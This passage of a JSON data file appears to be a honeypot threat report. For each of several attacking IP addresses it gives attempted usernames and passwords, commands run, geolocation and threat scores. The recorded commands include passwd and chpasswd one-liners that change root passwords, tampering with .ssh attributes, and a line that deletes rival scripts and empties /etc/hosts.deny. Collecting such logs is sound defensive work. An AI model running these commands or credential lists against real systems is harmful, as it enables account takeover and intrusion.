        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\ndQHg7f2DqtuD\\ndQHg7f2DqtuD\\n\"|passwd",
        "echo \"123456\\n3UfOUr70Nfxw\\n3UfOUr70Nfxw\\n\"|passwd",
        "echo \"123456\\nqFI7ZBACjokx\\nqFI7ZBACjokx\\n\"|passwd",
        "echo \"123\\nWSpgfYV2y0nE\\nWSpgfYV2y0nE\\n\"|passwd",
        "echo \"123\\nYONUdPdYmQBj\\nYONUdPdYmQBj\\n\"|passwd",
        "echo \"123\\nrvdlc8wgRdUh\\nrvdlc8wgRdUh\\n\"|passwd",
        "echo \"Password\\nLugg0vEnIRIW\\nLugg0vEnIRIW\\n\"|passwd",
        "echo \"astra123\\nQi8ePUMdw6ee\\nQi8ePUMdw6ee\\n\"|passwd",
        "echo \"n8n\\nWz0pF7Ho3wck\\nWz0pF7Ho3wck\\n\"|passwd",
        "echo \"password\\nomoNx0aqWPbK\\nomoNx0aqWPbK\\n\"|passwd",
        "echo \"user.\\nMawaZz4L0HZj\\nMawaZz4L0HZj\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1308,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T14:35:53.092000+00:00",
        "last_seen_30d": "2026-03-20T00:18:44.099000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1089,
        "Suricata": 219
      }
    },
    "198.98.55.71": {
      "attack_count": 910,
      "first_seen": "2026-03-02T11:09:27.596Z",
      "last_seen": "2026-03-23T19:02:53.448Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "dhiraj",
        "hzy",
        "student4",
        "taibabi",
        "test1",
        "ubuntu",
        "ys",
        "admin",
        "amir",
        "angga",
        "b",
        "ben",
        "clawd",
        "coder",
        "datacenter",
        "dell",
        "elk"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345",
        "12345678",
        "!2QwAsZx",
        "!q2w3e4r",
        "$upp0rt",
        "123Qweasdzxc",
        "123qwe456rty",
        "1qaz2wsx@",
        "Aa@123321",
        "Admin1234",
        "Hzy123",
        "Mcserver123",
        "Mosquitto123!",
        "P@55w0rd@123",
        "P@SSW0RD",
        "Pa$$w0rd12345"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\n6YulWNztJF6t\\n6YulWNztJF6t\\n\"|passwd",
        "echo \"12345\\nweHeAGLQmfnH\\nweHeAGLQmfnH\\n\"|passwd",
        "echo \"123\\n2uky1KairFe4\\n2uky1KairFe4\\n\"|passwd",
        "echo \"123\\nKzgmO5tbxG2R\\nKzgmO5tbxG2R\\n\"|passwd",
        "echo \"Hzy123\\ndnyoypYA1In4\\ndnyoypYA1In4\\n\"|passwd",
        "echo \"adminadmin\\nTeZIGaxiopSN\\nTeZIGaxiopSN\\n\"|passwd",
        "echo \"dhiraj123!\\noDnQfftyeFNT\\noDnQfftyeFNT\\n\"|passwd",
        "echo \"pass123\\n3Py4XUkrurlN\\n3Py4XUkrurlN\\n\"|passwd",
        "echo \"root:YbvYJOeqISrD\"|chpasswd|bash",
        "echo -e \"12345678\\n6YulWNztJF6t\\n6YulWNztJF6t\"|passwd|bash",
        "echo -e \"12345\\nweHeAGLQmfnH\\nweHeAGLQmfnH\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Staten Island",
      "asn": 53667,
      "as_org": "FranTech Solutions",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 1084,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:09:27.596000+00:00",
        "last_seen_30d": "2026-03-23T19:03:58.175000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 910,
        "Suricata": 174
      }
    },
    "200.44.190.194": {
      "attack_count": 907,
      "first_seen": "2026-03-03T11:11:09.431Z",
      "last_seen": "2026-03-20T17:16:47.390Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "edward",
        "mahdi",
        "nikola",
        "David",
        "admin",
        "ari",
        "ben",
        "cyrus",
        "den",
        "elk",
        "erica",
        "ftb",
        "ftp-user",
        "grafana",
        "hari",
        "henry",
        "host"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "123",
        "12345",
        "12345Qwerty",
        "123abc321",
        "1Qaz2wsx",
        "77777777",
        "@",
        "Aaa123321",
        "Bingo@1993",
        "China@123",
        "Erica123!",
        "Hari123!",
        "Henry123",
        "Julia",
        "Paul"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345\\n8XRfPLZGZelM\\n8XRfPLZGZelM\\n\"|passwd",
        "echo \"edward\\nwRbJGtuHlLDj\\nwRbJGtuHlLDj\\n\"|passwd",
        "echo \"nikola\\nzFP65KlvvIla\\nzFP65KlvvIla\\n\"|passwd",
        "echo \"pass123\\nEZekBcrJBTKZ\\nEZekBcrJBTKZ\\n\"|passwd",
        "echo \"qwerty\\nxHBjnZHd1ib8\\nxHBjnZHd1ib8\\n\"|passwd",
        "echo \"root:GPUY4DjrHP6m\"|chpasswd|bash",
        "echo \"root:I1iir6U6Qs9z\"|chpasswd|bash",
        "echo \"root:UNNAKc0hTaRu\"|chpasswd|bash",
        "echo \"root:j0uIZhhn24tc\"|chpasswd|bash",
        "echo -e \"12345\\n8XRfPLZGZelM\\n8XRfPLZGZelM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1085,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T11:11:09.431000+00:00",
        "last_seen_30d": "2026-03-20T17:17:48.596000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 907,
        "Suricata": 178
      }
    },
    "46.101.186.116": {
      "attack_count": 868,
      "first_seen": "2026-03-02T13:52:13.522Z",
      "last_seen": "2026-03-02T14:16:57.836Z",
      "sessions": 173,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "user",
        "admin",
        "ansible",
        "centos",
        "deployer",
        "deployuser",
        "dev",
        "guest",
        "hp",
        "jenkins",
        "jon",
        "newuser",
        "noreply",
        "odoo",
        "sonar",
        "test",
        "ubuntu",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "admin",
        "ubuntu",
        "!Qaz@Wsx",
        "000000",
        "1",
        "111111",
        "1234567",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "1qaz@WSX3edc",
        "1qaz@wsx",
        "Aa123456",
        "Abc123456",
        "Admin@123",
        "Huawei12#$",
        "P@ssw0rd",
        "Pa$$w0rd"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 1221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T13:51:50.541000+00:00",
        "last_seen_30d": "2026-03-02T14:17:58.147000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 868,
        "Suricata": 353
      }
    },
    "170.233.151.14": {
      "attack_count": 535,
      "first_seen": "2026-03-06T23:33:41.662Z",
      "last_seen": "2026-03-23T08:19:12.449Z",
      "sessions": 48,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "galdanf",
        "hive",
        "kfserver",
        "kishore",
        "steam",
        "admin2",
        "andi",
        "ax",
        "claude",
        "client1",
        "db2admin",
        "factorio",
        "fox",
        "frappeuser",
        "frontend",
        "ftpuser",
        "gitlab-runner",
        "gpadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "12345678",
        "password",
        "123",
        "@qwer2024",
        "@qwer2025",
        "Client1",
        "Gui",
        "Huawei123!",
        "Jun123",
        "Robot123",
        "Steam",
        "Tool",
        "X123",
        "abc123xyz",
        "andi",
        "claude1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nL8vZ7mSzDJIa\\nL8vZ7mSzDJIa\\n\"|passwd",
        "echo \"Huawei123!\\nr51eZRrPDN8P\\nr51eZRrPDN8P\\n\"|passwd",
        "echo \"Steam\\ndlCu0Isq5S00\\ndlCu0Isq5S00\\n\"|passwd",
        "echo \"kfserver\\nLwCdfmfaWdY0\\nLwCdfmfaWdY0\\n\"|passwd",
        "echo \"kishore123\\nwzYkhms1khkD\\nwzYkhms1khkD\\n\"|passwd",
        "echo -e \"12345678\\nL8vZ7mSzDJIa\\nL8vZ7mSzDJIa\"|passwd|bash",
        "echo -e \"Huawei123!\\nr51eZRrPDN8P\\nr51eZRrPDN8P\"|passwd|bash",
        "echo -e \"Steam\\ndlCu0Isq5S00\\ndlCu0Isq5S00\"|passwd|bash",
        "echo -e \"kfserver\\nLwCdfmfaWdY0\\nLwCdfmfaWdY0\"|passwd|bash",
        "echo -e \"kishore123\\nwzYkhms1khkD\\nwzYkhms1khkD\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marab\u00e1",
      "asn": 265096,
      "as_org": "PRGNET SERVICOS DE TELECOMUNICACOES",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 15.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 18,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T23:33:41.662000+00:00",
        "last_seen_30d": "2026-03-23T08:20:17.556000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 535,
        "Suricata": 111
      }
    },
    "171.231.192.89": {
      "attack_count": 485,
      "first_seen": "2026-03-24T06:03:59.605Z",
      "last_seen": "2026-03-24T06:40:34.434Z",
      "sessions": 97,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "monitor",
        "ubnt",
        "1234",
        "123456",
        "ace",
        "am",
        "ashish",
        "auto",
        "bin",
        "brenda",
        "btf",
        "carol",
        "cisco",
        "db2inst2",
        "developer",
        "ftp",
        "george"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345",
        "admin",
        "admin123",
        "password",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "123",
        "12345678",
        "1234567890%*()",
        "321start",
        "@",
        "P@ssw0rd",
        "ace",
        "admin01",
        "admin1",
        "administrator"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 697,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:03:59.605000+00:00",
        "last_seen_30d": "2026-03-24T06:41:42.168000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 485,
        "Suricata": 212
      }
    },
    "61.23.36.232": {
      "attack_count": 477,
      "first_seen": "2026-03-02T00:00:47.096Z",
      "last_seen": "2026-03-26T14:26:39.890Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "live",
        "solr",
        "sshuser",
        "web",
        "yogi",
        "backend",
        "bot1",
        "comp",
        "demon",
        "family",
        "ftpd",
        "itsupport",
        "karin",
        "music",
        "real",
        "relaxbckp",
        "sysckp",
        "ts1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "11221122",
        "123",
        "123456",
        "12345678",
        "1qaz2WSX@",
        "Bot1123",
        "Ftpd123!",
        "P@$$w0rd2024",
        "Passw0rt12@",
        "Sshuser123",
        "itsupport",
        "karin",
        "musicpass",
        "real",
        "relaxbckp",
        "solrpass",
        "sysckp"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nIJ6NS3NjrbkD\\nIJ6NS3NjrbkD\\n\"|passwd",
        "echo \"root:hgI2XVILj0Bp\"|chpasswd|bash",
        "echo \"solrpass\\njue0GwaPPtj0\\njue0GwaPPtj0\\n\"|passwd",
        "echo \"web@123\\nDSOfPDyVQqBU\\nDSOfPDyVQqBU\\n\"|passwd",
        "echo \"yogi\\ny3TOPq90qHIx\\ny3TOPq90qHIx\\n\"|passwd",
        "echo -e \"12345678\\nIJ6NS3NjrbkD\\nIJ6NS3NjrbkD\"|passwd|bash",
        "echo -e \"solrpass\\njue0GwaPPtj0\\njue0GwaPPtj0\"|passwd|bash",
        "echo -e \"web@123\\nDSOfPDyVQqBU\\nDSOfPDyVQqBU\"|passwd|bash",
        "echo -e \"yogi\\ny3TOPq90qHIx\\ny3TOPq90qHIx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Fujisawa",
      "asn": 9824,
      "as_org": "JCOM Co., Ltd.",
      "threat_score": 50.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 557,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T00:00:47.096000+00:00",
        "last_seen_30d": "2026-03-26T14:27:48.916000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 477,
        "Suricata": 80
      }
    },
    "103.187.146.107": {
      "attack_count": 431,
      "first_seen": "2026-03-12T13:54:50.066Z",
      "last_seen": "2026-03-17T14:11:21.437Z",
      "sessions": 39,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "nginx",
        "root",
        "ovh",
        "task",
        "teamcity",
        "anders",
        "ashish",
        "backupuser",
        "bert",
        "bot1",
        "chrism",
        "comp",
        "deamon",
        "elasticsearch",
        "facturacion",
        "gits",
        "jira",
        "n8n",
        "nx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123",
        "123456",
        "password",
        "Bert123",
        "Gits123",
        "Showroom123",
        "Wialon123!",
        "Xs123456",
        "Zr123456@",
        "anders",
        "ashish",
        "chrismpass",
        "comp123",
        "deamonpass",
        "elasticsearch1234",
        "n8n",
        "nginx123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\ne8wkR6RYqbK9\\ne8wkR6RYqbK9\\n\"|passwd",
        "echo \"123\\nD2rzZqt7sUy1\\nD2rzZqt7sUy1\\n\"|passwd",
        "echo \"123\\nbqLU1aXpkruB\\nbqLU1aXpkruB\\n\"|passwd",
        "echo \"nginx123!\\nc7FfmNIuQiOB\\nc7FfmNIuQiOB\\n\"|passwd",
        "echo -e \"123456\\ne8wkR6RYqbK9\\ne8wkR6RYqbK9\"|passwd|bash",
        "echo -e \"123\\nD2rzZqt7sUy1\\nD2rzZqt7sUy1\"|passwd|bash",
        "echo -e \"123\\nbqLU1aXpkruB\\nbqLU1aXpkruB\"|passwd|bash",
        "echo -e \"nginx123!\\nc7FfmNIuQiOB\\nc7FfmNIuQiOB\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 522,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T13:54:50.066000+00:00",
        "last_seen_30d": "2026-03-17T14:12:30.813000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 431,
        "Suricata": 91
      }
    },
    "203.145.143.163": {
      "attack_count": 400,
      "first_seen": "2026-03-12T07:34:46.358Z",
      "last_seen": "2026-03-12T08:00:43.862Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "emo",
        "kevin",
        "lekaren",
        "n8n",
        "yuhan",
        "admin",
        "ark",
        "hassan",
        "mc",
        "spawner",
        "student2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "Itsemoemo2025@Washere2025",
        "Spawner123",
        "arkserver",
        "kevin1234",
        "n8n",
        "student2pass",
        "sysadmin",
        "yuhan1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nXGxzdYbZN5Br\\nXGxzdYbZN5Br\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\nxcjA89ge1ijI\\nxcjA89ge1ijI\\n\"|passwd",
        "echo \"kevin1234\\nRnMCE5a27SxO\\nRnMCE5a27SxO\\n\"|passwd",
        "echo \"n8n\\nAieQU0Voz22V\\nAieQU0Voz22V\\n\"|passwd",
        "echo \"yuhan1234\\nujzwYu8moWFi\\nujzwYu8moWFi\\n\"|passwd",
        "echo -e \"123\\nXGxzdYbZN5Br\\nXGxzdYbZN5Br\"|passwd|bash",
        "echo -e \"Itsemoemo2025@Washere2025\\nxcjA89ge1ijI\\nxcjA89ge1ijI\"|passwd|bash",
        "echo -e \"kevin1234\\nRnMCE5a27SxO\\nRnMCE5a27SxO\"|passwd|bash",
        "echo -e \"n8n\\nAieQU0Voz22V\\nAieQU0Voz22V\"|passwd|bash",
        "echo -e \"yuhan1234\\nujzwYu8moWFi\\nujzwYu8moWFi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:34:46.358000+00:00",
        "last_seen_30d": "2026-03-12T08:01:49.538000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 47
      }
    },
    "101.47.8.188": {
      "attack_count": 380,
      "first_seen": "2026-03-07T16:11:48.210Z",
      "last_seen": "2026-03-12T00:07:28.017Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "airflow",
        "n8n",
        "claude",
        "colin",
        "coolify",
        "dev",
        "dockeradmin",
        "fox",
        "jira",
        "linuxadmin",
        "qiyuesuo",
        "syncthing",
        "testing",
        "ubuntu",
        "user",
        "x"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1!deshine",
        "123",
        "1234",
        "12345",
        "123456",
        "1qaz!QAZ2wsx",
        "1qaz@WSX",
        "Fox123",
        "X123!",
        "airflowpass",
        "azerty",
        "colin123",
        "devpass",
        "dockeradmin",
        "linuxadmin123",
        "muiema",
        "n8n",
        "qiyuesuo1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"airflowpass\\nOigusiRWuyi8\\nOigusiRWuyi8\\n\"|passwd",
        "echo \"n8n\\n7NjS1JgROZjR\\n7NjS1JgROZjR\\n\"|passwd",
        "echo \"root:5N0CunlFDSZG\"|chpasswd|bash",
        "echo \"sysadmin\\nhOokGThO9yCk\\nhOokGThO9yCk\\n\"|passwd",
        "echo -e \"airflowpass\\nOigusiRWuyi8\\nOigusiRWuyi8\"|passwd|bash",
        "echo -e \"n8n\\n7NjS1JgROZjR\\n7NjS1JgROZjR\"|passwd|bash",
        "echo -e \"sysadmin\\nhOokGThO9yCk\\nhOokGThO9yCk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
